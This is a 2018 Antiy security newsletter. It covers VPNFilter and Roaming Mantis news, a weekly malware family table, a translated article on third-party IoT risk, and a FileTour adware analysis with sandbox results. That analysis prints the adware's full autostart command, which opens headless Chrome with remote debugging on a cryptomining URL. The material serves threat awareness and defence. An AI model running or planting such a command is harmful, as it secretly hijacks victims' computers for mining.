安天周观察

安天官方微博　安天官方微信

主办：安天　2018 年 05 月 28 日 (总第 137 期) 试行　本期 4 版　微信搜索：antiylab　内部资料 免费交流

“两年来，总书记的话，对安天的成长既是激励又是鞭策”

——安天：履行网络安全国家队使命

25 日，“纪念习近平总书记视察安天两周年座谈会”在安天集团总部哈尔滨召开，座谈会回顾了总书记视察安天时的难忘历史时刻，展示了安天两年来的最新发展成果。安天集团创始人、首席架构师肖新光做了主题报告。

两年前的 5 月 25 日，习近平总书记在黑龙江考察期间，视察了安天集团总部，在听取了安天负责人汇报后说：“你们也是国家队，虽然你们是民营企业”。作为一家专注网络安全的民营企业，能得到总书记的视察和肯定，对于安天的成长既是激励又是鞭策。

两年来，安天加快发展，各项能力建设再上新台阶。目前，安天已成长为以黑龙江为总部基地，拥有六地研发中心、两个省级工程中心、一个博士后工作站和多个高校联合实验室，企业规模和运作集团化，能力布局系统化的能力型厂商。安天依托自身技术和能力优势对境外官方背景的网络安全威胁进行持续监测和深入分析，持续跟踪分析境外近三十个高级攻击组织，多次发现、捕获其攻击行动，对其使用的恶意代码、漏洞利用工具等攻击装备进行了深度分析。针对来自某国的“白象”组织攻击，安天持续进行了 6 年的监测分析，将其中一名攻击者锁定到自然人，分析成果被写入国家互联网应急中心 2016 年发布的《中国互联网网络安全报告》中。2017 年 5 月 12 日，“魔窟”（WannaCry）勒索病毒在全球大范围爆发，安天第一时间启动“A 级灾难响应”预案，向主管部门通报情况、集结上百名工程师开展分析响应工作，率先发布“魔窟”（WannaCry）蠕虫的深度分析报告、免疫及查杀工具，为我国控制该病毒疫情提供了有力的技术支撑。

两年来，安天自觉践行网络安全国家队的历史使命，承担国家重大项目安保工作，为党和国家不断做出贡献。安天夯实端点防护、流量监测、深度分析、响应处置等基础产品能力，并以此为基础感知能力，承担了国内多个具有示范意义的态势感知平台建设。安天依托态势感知能力和安全防护能力，为载人航天、空间站对接、探月工程、主力舰护航等提供了安全保障。

两年来，安天持续加大研发力度，扩大自主研发核心技术产品方面的引领创新优势，不断加强技术创新和知识产权积累，在专利申请数量和授权数量上保持较高的持续增长。截至目前，累计申请专利近千项，体现出了较强的研发和创新能力。其中，安天的反病毒引擎和病毒处置技术专利获得了第十七届“中国专利优秀奖”。安天获评“2017 年度国家知识产权示范企业”，是该批唯一一家网络安全企业。

以习近平总书记视察安天两周年为新的起点，以总书记的嘱托为动力和目标，相信安天今后将更加有力的承接起网络安全国家队的历史使命，为我国网络安全事业做出更大贡献！

VPNFilter 大规模来袭，感染几十个国家 50 万台路由器和存储设备

思科公司发布安全预警称，俄罗斯黑客利用恶意软件，已感染几十个国家的至少 50 万台路由器和存储设备。攻击中使用了高级模块化恶意软件系统“VPNFilter”，这是思科 Talos 团队与多个部门以及执法机构一直追踪研究的恶意软件。尽管目前研究尚未完成，但思科决定提前公布结果，以便受害者及潜在受害者及时防御与响应。

结合该恶意软件近期的活动，Talos 团队认为俄罗斯是此次攻击的幕后主谋，因为“VPNFilter”恶意软件的代码与 BlackEnergy 恶意软件的代码相同，而 BlackEnergy 曾多次对乌克兰发起大规模攻击。思科发布的分析报告表明，VPNFilter 利用各国的命令和控制（C2）基础设施，以惊人的速度主动感染乌克兰境内及多个国家主机。预估至少有 54 个国家遭入侵，受感染设备的数量至少为 50 万台。受影响的设备主要有小型和家庭办公室（SOHO）中使用的 Linksys、MikroTik、NETGEAR 和 TP-Link 路由器以及 QNAP 网络附加存储（NAS）设备。暂时尚未发现其他网络设备供应商受感染。

http://www.freebuf.com/news/172729.html

每周安全事件

类 型	内 容
中文标题	Roaming Mantis 攻击进化，扩展活动范围
英文标题	Roaming Mantis gang evolves and broadens its operations
作者及单位	Pierluigi Paganini
内容概述	卡巴斯基实验室的安全专家发现，最初只针对 Android 设备的 Roaming Mantis 恶意软件现在不断改进，提升了功能并扩大了攻击范围。 Roaming Mantis 最初于 2018 年 3 月出现，当时日本被黑客攻击的路由器将用户重定向到恶意网站。而此次，其攻击的目标扩大到亚洲用户，并定制了英文、韩文、简体中文和日文的虚假网站。受影响最大的用户位于孟加拉国、日本和韩国。 研究表明，这一系列恶意软件在韩国最流行，包含 Android 版本的韩国流行手机银行和游戏应用程序的 ID。恶意应用程序最初针对韩国目标，随后也开始支持繁体中文、英文和日文等 27 种语言，覆盖欧洲和中东地区。此外，这款具有 DNS 劫持功能的恶意软件最初用于窃取用户的登录凭证和 Android 设备中双因素身份验证的密码，而最近则针对 iOS 设备发起钓鱼攻击，企图窃取用户凭证和财务数据（用户 ID、密码、卡号、卡到期日期和 CVV 号码），同时还针对桌面用户发起挖矿攻击。
链接地址	https://securityaffairs.co/wordpress/72754/malware/roaming-mantis-evolution.html

每周值得关注的恶意代码信息

经安天【CERT】检测分析，本周有 9 个移动平台恶意代码和 5 个 PC 平台的恶意代码值得关注

关注方面		名称	相关描述
移动恶意代码	新出现的样本家族	Trojan/Android.x01ra[prv,rmt,exp,spy] 2018-05-21	该应用程序运行隐藏图标，联网获取远程指令，上传用户短信、联系人、通话记录、照片等隐私信息，还会执行删除短信、删除文件、发短信、打电话、录音、照相等危险行为，造成用户隐私泄露和资费损耗，建议卸载。（威胁等级高）
		G-Ware/Android.FakeGoogleIcon.a[exp,rog] 2018-05-21	该应用程序运行会伪装 google 相关图标，请求激活设备管理器，后台推送广告，造成用户资费损耗，建议卸载。（威胁等级低）
		Trojan/Android.baimind.a[prv,rmt,spy] 2018-05-22	该应用程序伪装正常应用，运行后隐藏图标，后台释放恶意子包，接收远程控制指令，窃取用户短信、联系人、通话记录、地理位置、浏览器记录等隐私信息，私自下载 apk、拍照、录音，并将用户隐私上传至服务器，造成用户隐私泄露。（威胁等级中）
		Trojan/Android.FakeQiwiQ.a[prv] 2018-05-22	该应用程序伪装成 QiwiQ 支付应用，运行后会监听短信并上传手机号和短信内容到指定服务器，造成用户隐私泄露，建议卸载。（威胁等级中）
		Trojan/Android.SafetySpy.a[prv,rmt] 2018-05-22	该应用程序运行拦截用户短信，上传用户短信内容、通讯录信息、位置等。造成用户隐私泄露，建议立即卸载。（威胁等级中）
		Trojan/Android.safetracker.a[prv,rmt,spy] 2018-05-24	该应用程序是一款间谍软件，运行后隐藏图标，后台接收远程控制命令，私自窃取用户短信、联系人、通话记录、地理位置、浏览器记录、社交软件记录、手机安装信息等隐私信息，私自拍照、录音，并将用户隐私信息上传至服务器、造成用户隐私泄露，建议立即卸载。（威胁等级中）
		Trojan/Android.N3Client.a[exp,rog] 2018-05-25	该应用程序包含恶意代码，运行后激活设备管理器，联网下载恶意子包，重置用户手机 pin 码，锁定用户手机。造成用户流量消耗，影响用户手机正常使用，建议不要使用。（威胁等级高）
		Trojan/Android.abvbg.a[prv,spy] 2018-05-25	该应用程序是一款间谍软件，运行后隐藏图标，激活设备管理器，后台私自窃取用户短信、联系人、通话记录、地理位置、浏览器记录、社交软件信息记录、手机安装信息等隐私信息，私自拍照、录音，下载其他软件，并将用户隐私信息上传至服务器，造成用户隐私泄露，建议立即卸载。（威胁等级中）
	较为活跃的样本	Trojan/Android.RUSpy.b[prv,sys,rmt]	该应用程序伪装 Adobe Flash Player，运行诱导激活设备管理器，隐藏图标，接收远程指令修改手机模式，私自发送短信，窃取用户联系人，通讯记录，屏蔽拦截短信，私自进行广告推送，造成用户隐私泄露，影响用户正常使用。（威胁等级中）
PC 平台恶意代码	活跃的格式文档漏洞、0day 漏洞	Microsoft Windows 权限许可和访问控制漏洞 (CVE-2018-8120)	Microsoft Windows 中存在提权漏洞，该漏洞源于 Win32k 组件没有正确的处理内存中的对象。攻击者可利用该漏洞在内核模式下以提升的权限执行任意代码。（威胁等级高）
	较为活跃样本	Trojan[Downloader]/Win32.Plosa	此威胁是一种具有下载行为的木马类程序。该家族人侵后会在计算机中下载并安装恶意软件和广告软件，同时修改注册表实现开机自启动。该家族会窃取用户的关键信息，破坏用户数据，然后执行其它恶意操作。（威胁等级中）
		Trojan[Backdoor]/Win32.Prosti	此威胁是一种后门类木马程序。它与应用程序或游戏捆绑在一起，在用户从互联网上下载或更新程序时进入用户的计算机系统。该家族还在系统上创建后门，并在计算机上下载其他恶意程序，黑客可以通过远程服务器访问到用户计算机。（威胁等级高）
		Trojan[Dropper]/Win32.Clons	此威胁是一种带有捆绑功能的木马类程序。该家族样本运行后，会携带各种恶意软件，并将这些恶意软件安装到用户的计算机上。该家族会从指定服务器下载恶意软件，并允许攻击者远程访问用户的计算机，窃取用户信息。（威胁等级中）
		Trojan[Banker]/Win32.Lohmys	此威胁是一种木马类程序。该家族部分变种带有数字签名，运行后会下载可执行文件，添加桌面快捷方式。该家族还会创建多个进程，修改系统设置。（威胁等级中）

企业不可忽视第三方物联网设备风险

Charlie Miller / 文　安天技术公益翻译组 / 译

物联网是过去十年中最伟大的技术进步之一，据 Gartner 预计，到 2020 年 IoT 市场将出现 204 亿台设备，2017 年已有超过 84 亿台 IoT 设备正在使用。

波耐蒙研究所和共享评估两家机构在新报告《物联网：第三方风险的新时代》中指出，每个工作场所都有大约 16000 台 IoT 设备连接到其网络。IoT 设备的普遍采用为黑客提供了新的攻击入口点。基本上，任何具有互联网连接的设备都有可能受到攻击，并可能成为攻击者访问企业网络或窃取敏感数据的后门。

不幸的是，许多 IoT 设备运行的固件很难打补丁和更新，有些设备还采用默认密码运行，因此易被破解。我们已经看到很多通过 IoT 设备发起的 DDoS 攻击，包括 Mirai 僵尸网络、Brickerbot、IoT 勒索软件、恶意软件等等。在过去的两年中，家居智能设备甚至联网汽车都因被黑客攻击登上了新闻头条。

许多企业最终意识到 IoT 设备为工作场所带来不断增长的攻击面，并开始监控这些端点。但是，当连接到公司网络的第三方 IoT 设备突然被攻击时会发生什么呢？公司是否在监控第三方 IoT 风险？是否有处理第三方 IoT 风险的策略？该研究显示，许多企业尚未做好准备。

共享评估委托波耐蒙研究所调查 605 名受访者，这些受访者参与公司管理和 / 或风险监控活动，且熟悉企业 IoT 设备使用。研究发现，自 2017 年以来，虽然第三方 IoT 设备和应用程序的风险管控取得了

一些进展，但仍然不够成熟。几乎所有受访者都认为其企业在未来两年内将遭受灾难性的 IoT 安全事件，很多企业未能正确评估第三方 IoT 风险，还有很多企业没有准确盘点其 IoT 设备或应用。

报告强调了第三方风险管理实践中存在的三大脱节，包括：

随着 IoT 采用率的增加，企业的 IoT 风险意识也需要提高。随着工作场所对 IoT 设备的日益依赖，企业意识到不安全的 IoT 设备遭受攻击可能对其业务造成重大影响。81% 的受访者表示未来两年内不安全的 IoT 设备很可能会导致数据泄露事件，60% 的受访者担心 IoT 生态系统容易遭受勒索软件攻击。只有 28% 的受访者表示已将 IoT 风险纳入第三方审查中。

IoT 风险管理实践有待改善。预计未来两年，工作场所中 IoT 设备的平均数量将从 15875 台增加到 24762 台。45% 的受访者表示可以盘点 IoT 设备，其中只有 19% 的受访者表示可以盘点至少一半的 IoT 设备。88% 的受访者认为缺乏集中控制是难以完成和持续盘点的主要原因。尽管 60% 的受访者表示已经制定了第三方风险管理计划，但是只有不到一半的受访者表示制定策略来禁用有风险的 IoT 设备。

企业内部和第三方 IoT 监控存在很大的差距。几乎一半的企业表示他们积极监控工作场所的 IoT 设备风险，只有 29% 的企业积极监控第三方 IoT 设备风险。25% 的受访者不确定企业是否受到涉及 IoT 设备的网络攻击的影响，35% 的受访者表示不知道是否能够发现第三方数据泄露事件。令人震惊的是，只有 9% 的受访者表示完全了解所有联网设备。

关键问题是，企业目前关注的重点是内部工作场所的 IoT 风险，而非第三方 IoT 风险。许多公司在责任分配和库存管理方面有些落后，对于谁负责管理和缓解第三方风险存在不确定性。有些公司在 IoT 风险管理方面过度依赖第三方合同和策略。

为了应对 IoT 风险并改善第三方风险管理计划，公司应采取以下主动措施：

（1）更新资产管理流程和库存系统以涵盖 IoT 设备和应用程序，并了解所有库存设备的安全特性。当发现安全措施不足的 IoT 设备时，请将其更换。

（2）确定并分配 IoT 设备和应用程序的批准、监控、使用和部署责任。

（3）确保将所有 IoT 设备、应用程序和安全运行指标纳入第三方风险管理计划，并对它们进行监控和报告。

（4）验证合同条款、策略和程序中包含的第三方 IoT 控制措施是否可以实施，并监控其遵守情况和合规性。

（5）与业界同行、同事和专家协作，确定成功的方法、技术、解决方案和标准，以监控和缓解第三方 IoT 设备和应用风险。

原文名称	Why Enterprises Can't Ignore Third-Party IoT-Related Risks
作者简介	Charlie Miller。Charlie Miller 是 Santa Fe 集团高级副总裁。
原文信息	2018 年 5 月 14 日发布于 Dark Reading 原文地址 https://www.darkreading.com/endpoint/why-enterprises-cant-ignore-third-party-iot-related-risks/a/d-id/1331703
免责声明	本译文译者为安天实验室工程师，出自个人兴趣在业余时间所译，本文原文来自互联网，译者与安天实验室均与原作者与原始发布者没有联系，亦未获得相关的版权授权，鉴于译者及安天实验室出于学习参考之目的翻译本文，而无出版、发售译文等任何商业利益意图，因此亦不对任何可能因此导致的版权问题承担责任。译者力图忠于所获得之电子版本进行翻译，但受翻译水平和技术水平所限，不能完全保证译文完全与原文含义一致，同时对所获得原文是否存在臆造、或者是否与其原始版本一致未进行可靠性验证和评价。译者与安天实验室亦对原文和译文的任何内容不承担任何责任。翻译本文的行为不代表译者和安天实验室对原文立场持有任何立场和态度。 本译文亦不得用于任何商业目的，未授权任何人士和第三方二次分享本译文，基于上述问题产生的法律责任，译者与安天实验室一律不予承担。

安天发布《FileTour 恶意广告软件分析报告》

近日，安天 CERT 在梳理网络安全事件时发现一款伪装正常页面并在后台静默挖矿的广告软件 FileTour。

FileTour 是一种广告软件，通常作为游戏和其他软件的破解或欺骗手段进行传播。它被认为是介于广告软件和 PUP 以及更危险的计算机恶意代码（如密码窃取木马和挖矿木马）之间的一款软件而臭名昭著。此广告件运行后设置自启动，当用户登录到 Windows 时，它会自动启动 Chrome 并连接到浏览器内的挖矿页面，它是以一种让用户看不到 Chrome 的方式来实现的。用户登录 Windows 时用于启动 Chrome 的命令是："C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --remote-debugging-port=9222 https://de-mi-nis-ner2.info/cdn-41.html?t=0.4"。该命令将导致 Chrome 以不可见的无头状态打开，无需 GPU 硬件加速即可以在端口 9222 上启用远程调试，并自动连接到"https://de-mi-nis-ner2.info/cdn-41.html?t=0.4"。当浏览器在后台打开此页面时，它将执行嵌入式 JavaScript，以启动挖矿脚本，导致 Chrome 在任务管理器中达到 70-80 % 的 CPU 利用率，这都是因为它会在后台静默挖矿。大多数人甚至不会注意到他们感染了恶意代码。他们可能会感觉电脑变慢，有些人可能会检查任务管理器，并注意到 Chrome 的奇怪行为，但对于大多数用户而言，该挖矿脚本可以运行很长时间而不被检测到。

安天 CERT 提醒广大网络使用者，可以在 Chrome 中使用 adblocker 插件，这会阻止浏览器内的挖矿脚本。要提高网络安全意识，在日常工作中要及时进行系统更新和漏洞修复，不要随意下载非正版的应用软件、非官方游戏、注册机等。收发邮件时要确认收发来源是否可靠，更加不要随意点击或者复制邮件中的网址，不要轻易下载来源不明的附件，发现网络异常要提高警惕并及时采取应对措施，养成及时更新操作系统和软件应用的好习惯。

目前，安天追影产品已经实现了对该类恶意代码的检出。

风险软件

安天【追影威胁分析系统】无需更新病毒库，即可实现对上述风险软件进行有效检测，下为其自动形成的分析报告：

文件由页面手工提交，经由 BD 静态分析鉴定器、文件来源信息分析鉴定器、数字证书鉴定器、文件元数据分析鉴定器、动态行为鉴定器、静态分析鉴定器、动态行为（默认环境）鉴定器、智能学习鉴定器、安全云鉴定器等鉴定分析。

最终依据 BD 静态分析鉴定器、静态分析鉴定器将文件判定为风险软件。

概要信息

文件名	ccd743f6a1511766da4427bd89d4d08ecdf93b0cfc035051aea3b946e4a0f3c1
文件类型	BinExecute/Microsoft.EXE[:X86]
大小	1.08 MB
MD5	EEB0D9E46F4F30D220C8C6BBE800A71A
病毒类型	风险软件
恶意判定 / 病毒名称	GrayWare[AdWare]/Win32.FileTour
判定依据	静态分析

运行环境

操作系统	内置软件
Windows XP 5.1.2600 Service Pack 3 Build 2600	默认、IE6、Firefox、Google Chrome、Office 2003、Flash、WPS、FoxitReader、Adobe Reader

常见行为

查找指定内核模块	★
创建特定窗体	★
获取计算机名称	★
遍历进程	★
连接网络	★
疑似查找浏览器进程	★★

文件扫描

文件名	文件 MD5	家族相似性	yara 扫描
target.exe	eeb0d9e46f4f30d220c8c6bbe800a71a	N/A	N/A
target.exe.dmp	b042364ae785ee70413fe02b280d6c1a	N/A	N/A

运行环境

操作系统	内置软件
Windows 7 6.1.7600 Build 7600	默认、IE9、Google Chrome、Firefox、Office 2007、Flash、WPS、FoxitReader、Adobe Reader

常见行为

查找指定内核模块	★
创建特定窗体	★
遍历进程	★

文件扫描

文件名	文件 MD5	家族相似性	yara 扫描
target.exe	eeb0d9e46f4f30d220c8c6bbe800a71a	N/A	N/A
target.exe.dmp	cbe927bf4028f2d68f90092cbc6c4036	N/A	N/A